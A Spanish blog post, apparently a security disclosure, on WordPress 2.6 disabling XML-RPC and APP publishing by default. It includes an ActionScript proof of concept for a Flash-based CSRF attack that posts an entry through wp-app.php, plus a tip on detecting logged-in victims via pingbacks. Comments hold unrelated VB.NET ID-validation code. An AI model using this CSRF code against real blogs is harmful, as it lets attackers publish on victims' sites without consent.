Categories
WordPress

Protocolos de publicación remota en WordPress

A estas alturas imagino que la mayoría ya sabe que en cada instalación nueva de WordPress 2.6, tanto la publicación por XMLRPC como APP estarán desactivados por omisión. A pesar de que algunos inicialmente pegaron un grito al cielo por este cambio, personalmente creo que es un cambio acertado, puesto que seguramente reducirá el número de vectores de ataque en aquellos blogs que no necesiten de éstos protocolos.

Sin ir muy lejos, actualmente la forma como está implementado APP en WordPress (y probablemente en otros CMSs), lo hace a este último, vulnerable a ataques CSRF usando Flash, que como se sabe, se puede usar para sobrepasar distintas restricciones de seguridad [1]. La siguiente porción de código muestra que tan sencillo es aprovechar este problema de seguridad en el protocolo mencionado:

actionscript:

// En este caso simplemente crea una nueva entrada.
function WpApp() {
        this.readQueryString();
       
        var blog:String = _params.blog;
        if ( !blog ) return;
        var r:URLRequest = new URLRequest(blog + '/wp-app.php?action=/posts');

        r.method = 'POST';
        r.data =        '<?xml version="1.0" encoding="UTF-8"?>'+
                                '<rss version="2.0"' +
                                        'xmlns:content="http://purl.org/rss/1.0/modules/content/"' +
                                        'xmlns:wfw="http://wellformedweb.org/CommentAPI/"' +
                                        'xmlns:dc="http://purl.org/dc/elements/1.1/"' +
                                        'xmlns:atom="http://www.w3.org/2005/Atom">'
                                '<channel>'+
                                        '<atom:entry>'+
                                                '<title>Boo</title>'+
                                                '<category domain="category" nicename="uncategorized" term="uncategorized"><![CDATA[Uncategorized]]></category>'+
                                                '<content><![CDATA[boo!]]></content>'+
                                        '</atom:entry>'+
                                        '</channel>'+
                                '</rss>';
        r.contentType = 'application/atom+xml';

        navigateToURL(r, '_self');
}

Lo único que el atacante necesitaría, sería identificar si la víctima inició sesión o no, y lo primero que se me viene a la mente en estos momentos es enviar un pingback y luego verificar que hizo click desde algún lado del panel de administración -- ¡a que no soy el único que mira los enlaces entrantes! 😀

Los problemas que comento han sido reportados hace mes y medio aproximadamente, pero hasta el momento sólo hicieron una corrección puntual para la prueba de concepto que envié, por lo que no sería mala idea eliminar este archivo (wp-app.php o app.php) o denegar el acceso al mismo.

[1] Por ejemplo las páginas que permiten subir archivos y que generalmente no tienen protección contra ataques CSRF. Actualmente casi todas las versiones de WordPress sufren este problema y se puede explotar usando lo descrito en Cross-site File Upload Attacks.

6 replies on “Protocolos de publicación remota en WordPress”

[...] Aunque tuvimos 26 razones por las que debemos ir por WordPress 2.6, dicha versión no fue tan limpia, por lo que sacaron 2.6 Beta 2 que viene con mejoras, algunas mencionadas en aNieto2k, aunque también cuenta con un problemita en protocolos de publicación remota, que pueden arreglarse gracias al tutorial realizado por Buayacorp. [...]

porfavor nesecito el codigo para probal mi prueba de programa le falta si puede aseme llegar este codigo selo agradesco con el corazon

Dim Letras As String = “TRWAGMYFPDXBNJZSQVHLCKE”
Dim nifNum As Integer
Dim NIf As String = DNIMaskedTextBox.Text
Dim valido As Boolean = True

If Not System.Text.RegularExpressions.Regex.IsMatch(NIf,
valido = False
Else
nifNum = Integer.Parse(NIf.Substring(0, NIf.Length -
If Not (NIf(8) = Letras(nifNum Mod 23)) Then
valido = False
End If
End If
If Not valido Then
e.cancel = True

Private Sub DniMaskedTextBox_Validating(ByVal sender As System.Object, ByVal e As System.ComponentModel.CancelEventArgs) Handles DniMaskedTextBox.Validating
Dim letras As String = "TRWAGMYFPDXBNJZSQVHLCKE" & "trwagmyfpdxbnjzsqvhlcke"
Dim nifnum As Integer
Dim nif As String = DniMaskedTextBox.Text
Dim valido As Boolean = True
If Not System.Text.RegularExpressions.Regex.IsMatch(nif, "^\d{8}[" + letras + "]$") Then

valido = False
Else
nifnum = Integer.Parse(nif.Substring(0, nif.Length - 1))
If Not (nif(8) = letras(nifnum Mod 23)) Then
valido = False
End If
End If
If Not valido Then
e.Cancel = True

ErrorProvider1.SetError(DniMaskedTextBox, "Error DNI no valido,llene este campo")
Else
ErrorProvider1.SetError(DniMaskedTextBox, Nothing)
End If

End Sub

RESPUESTA A TU PETICION

Private Sub NombreTextBox_Validating(ByVal sender As System.Object, ByVal e As System.ComponentModel.CancelEventArgs) Handles NombreTextBox.Validating
If NombreTextBox.Text.Length = 0 Then
e.Cancel = True
ErrorProvider1.SetError(NombreTextBox, "Error llene este campo")
Else
ErrorProvider1.SetError(NombreTextBox, Nothing)
End If
End Sub

Comments are closed.